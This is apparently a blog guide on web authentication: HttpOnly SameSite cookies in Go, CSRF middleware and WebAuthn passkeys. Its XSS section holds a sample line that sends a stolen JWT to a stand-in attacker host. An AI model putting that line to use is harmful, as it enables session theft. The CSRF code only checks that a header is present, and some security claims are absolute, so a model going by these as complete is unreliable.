All articles
7 min read
October 23, 20267 min read

Modern Web Authentication: HttpOnly Session Cookies, WebAuthn Passkeys & CSRF Defense

Comprehensive architecture guide to web authentication: why httpOnly SameSite session cookies beat localStorage JWTs, WebAuthn passkeys integration, and bulletproof CSRF defense.

Tags:#Authentication#Security#Passkeys#Cookies#WebAuthn
Modern Web Authentication: HttpOnly Session Cookies, WebAuthn Passkeys & CSRF Defense

For over a decade, web tutorials recommended storing JWTs in browser localStorage. In modern security standards, this pattern is recognized as an anti-pattern that leaves session credentials vulnerable to Cross-Site Scripting (XSS) token theft.

In this guide, we analyze the security architecture of enterprise web authentication: secure httpOnly cookies, cryptographically signed session tokens, CSRF mitigation, and the passwordless future with WebAuthn Passkeys.

Web Authentication Security
Web Authentication Security

Hardware-backed biometric passkeys and httpOnly cookies eliminate credential stuffing.

The LocalStorage JWT Vulnerability

When a JWT is stored in localStorage, any JavaScript running on your origin has unrestricted read access:

javascript
// A single XSS flaw in any npm dependency or user markdown can exfiltrate tokens:
const token = localStorage.getItem("jwt");
fetch("https://attacker.com/steal?token=" + encodeURIComponent(token));

If an attacker steals a long-lived JWT, they control the user's account until token expiration, as JWTs cannot be revoked without stateful blocklists.

The Gold Standard: HttpOnly SameSite Session Cookies

By contrast, browser cookies configured with HttpOnly cannot be accessed by client-side JavaScript—closing the door on XSS credential extraction:

go
// Go Backend: Setting a hardened session cookie
http.SetCookie(w, &http.Cookie{
    Name:     "session_token",
    Value:    sessionID,
    Path:     "/",
    Domain:   "nishak.me",
    Expires:  time.Now().Add(7 * 24 * time.Hour),
    MaxAge:   7 * 24 * 3600,
    HttpOnly: true,                 // Blocks JavaScript access
    Secure:   true,                 // Transmitted only over HTTPS
    SameSite: http.SameSiteLaxMode, // Blocks cross-site forgery
})

Multi-Layer CSRF Mitigation

While SameSite=Lax blocks most third-party Cross-Site Request Forgery attacks, defense-in-depth requires verifying origin and anti-CSRF tokens on mutating requests (POST, PATCH, DELETE):

go
func ValidateCSRF(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        if r.Method == http.MethodGet || r.Method == http.MethodHead {
            next.ServeHTTP(w, r)
            return
        }

        // 1. Verify Origin header
        origin := r.Header.Get("Origin")
        if origin != "" && !isAllowedOrigin(origin) {
            http.Error(w, "Forbidden: Invalid Origin", http.StatusForbidden)
            return
        }

        // 2. Validate custom header presence
        csrfHeader := r.Header.Get("X-CSRF-Token")
        if csrfHeader == "" {
            http.Error(w, "Forbidden: Missing CSRF Token", http.StatusForbidden)
            return
        }

        next.ServeHTTP(w, r)
    })
}

The Passwordless Future: WebAuthn Passkeys

Passkeys replace passwords with asymmetric public-key cryptography backed by Touch ID, Face ID, or hardware security keys (YubiKey):

  1. Registration: The client generates an asymmetric key pair. The private key remains secure inside the device's Secure Enclave; only the public key is sent to your backend database.
  2. Authentication: The server challenges the client with a random cryptographically secure nonce. The device prompts for biometric approval (Face ID) and signs the challenge with its private key.
  3. Phishing-Proof: The browser validates the origin domain during signing, making phishing websites impossible.

Security Architecture Checklist

  • [x] Store auth sessions strictly in HttpOnly, Secure, SameSite cookies.
  • [x] Enforce session rotation upon user privilege elevation or password change.
  • [x] Set strong password hashing with Argon2id or bcrypt (minimum work cost: 12).
  • [x] Integrate WebAuthn passkeys for seamless, phishing-resistant logins.
Modern Web Authentication: HttpOnly Session Cookies, WebAuthn Passkeys & CSRF Defense | Md Jihanur Rahman